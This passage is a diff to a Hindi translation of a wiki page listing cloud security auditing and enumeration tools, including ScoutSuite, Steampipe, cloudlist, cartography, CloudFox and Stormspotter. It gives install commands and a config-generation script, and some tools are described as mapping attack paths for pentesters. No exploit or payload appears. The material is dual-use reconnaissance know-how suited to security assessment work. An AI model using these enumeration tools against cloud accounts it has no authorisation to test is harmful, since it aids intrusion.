Oracle, Alibaba {{#tabs }} -{{#tab name="इंस्टॉल करें" }} +{{#tab name="Install" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -115,7 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="इंस्टॉल करें" }} +{{#tab name="Install" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -170,7 +170,7 @@ steampipe check all सभी प्रोजेक्ट्स की जांच करें -सभी प्रोजेक्ट्स की जांच करने के लिए आपको `gcp.spc` फ़ाइल उत्पन्न करनी होगी जो परीक्षण के लिए सभी प्रोजेक्ट्स को इंगित करती है। आप बस निम्नलिखित स्क्रिप्ट से संकेतों का पालन कर सकते हैं। +सभी प्रोजेक्ट्स की जांच करने के लिए आपको `gcp.spc` फ़ाइल उत्पन्न करनी होगी जिसमें परीक्षण के लिए सभी प्रोजेक्ट्स का संकेत दिया गया हो। आप बस निम्नलिखित स्क्रिप्ट से संकेतों का पालन कर सकते हैं। ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-**अन्य GCP अंतर्दृष्टि** (सेवाओं की गणना के लिए उपयोगी) की जांच करने के लिए उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +**अन्य GCP अंतर्दृष्टियों** (सेवाओं की गणना के लिए उपयोगी) की जांच करने के लिए उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) Terraform GCP कोड की जांच करने के लिए: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) @@ -233,7 +233,7 @@ Steampipe के अधिक AWS प्लगइन्स: [https://github.com/ ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) -AWS, GCP, Azure, DigitalOcean।\ +AWS, GCP, Azure, DigitalOcean.\ यह python2.7 की आवश्यकता है और यह अप्रबंधित लगता है। ### Nessus @@ -242,7 +242,7 @@ Nessus में _**Audit Cloud Infrastructure**_ स्कैन है जो ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist एक **मल्टी-क्लाउड टूल है जो क्लाउड प्रदाताओं से एसेट्स (होस्टनेम, आईपी पते) प्राप्त करने के लिए है।** +Cloudlist एक **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) है जो Cloud Providers से प्राप्त करता है। {{#tabs }} {{#tab name="Cloudlist" }} @@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin ``` {{#endtab }} -{{#tab name="दूसरा टैब" }} +{{#tab name="Second Tab" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config @@ -263,12 +263,12 @@ cloudlist -config {{#endtab }} {{#endtabs }} -### [**cartography**](https://github.com/lyft/cartography) +### [**कार्टोग्राफी**](https://github.com/lyft/cartography) -Cartography एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो Neo4j डेटाबेस द्वारा संचालित होता है। +कार्टोग्राफी एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है जो Neo4j डेटाबेस द्वारा संचालित होता है। {{#tabs }} -{{#tab name="Install" }} +{{#tab name="इंस्टॉल" }} ```bash # Installation docker image pull ghcr.io/lyft/cartography @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एक सहज ग्राफ दृश्य में एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित है। +Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में प्रस्तुत किया जाता है। {{#tabs }} {{#tab name="Install" }} @@ -376,7 +376,7 @@ Scan-AzureAdmins ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox एक उपकरण है जो क्लाउड अवसंरचना में उपयोग किए जाने योग्य हमले के रास्तों को खोजने के लिए है (वर्तमान में केवल AWS और Azure का समर्थन किया गया है, GCP आने वाला है)। +- CloudFox एक उपकरण है जो क्लाउड अवसंरचना में उपयोग किए जा सकने वाले हमले के रास्तों को खोजने के लिए है (वर्तमान में केवल AWS और Azure का समर्थन किया गया है, GCP आने वाला है)। - यह एक एन्यूमरेशन उपकरण है जिसे मैनुअल pentesting के पूरक के रूप में डिज़ाइन किया गया है। - यह क्लाउड वातावरण के भीतर कोई डेटा नहीं बनाता या संशोधित नहीं करता है। @@ -410,9 +410,9 @@ aws-security/ azure-security/ {{#endref}} -### हमले का ग्राफ +### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) एक Azure सदस्यता में संसाधनों का “हमला ग्राफ” बनाता है। यह रेड टीमों और pentesters को हमले की सतह और एक टेनेट के भीतर पिवट अवसरों को दृश्य बनाने में सक्षम बनाता है, और आपके रक्षकों को तेजी से उन्मुख और घटना प्रतिक्रिया कार्य को प्राथमिकता देने के लिए सुपरचार्ज करता है। +[**Stormspotter** ](https://github.com/Azure/Stormspotter) Azure सदस्यता में संसाधनों का “हमला ग्राफ” बनाता है। यह रेड टीमों और pentesters को हमले की सतह और एक टेनेट के भीतर पिवट अवसरों को दृश्य बनाने में सक्षम बनाता है, और आपके रक्षकों को तेजी से उन्मुख और घटना प्रतिक्रिया कार्य को प्राथमिकता देने के लिए सुपरचार्ज करता है। ### Office365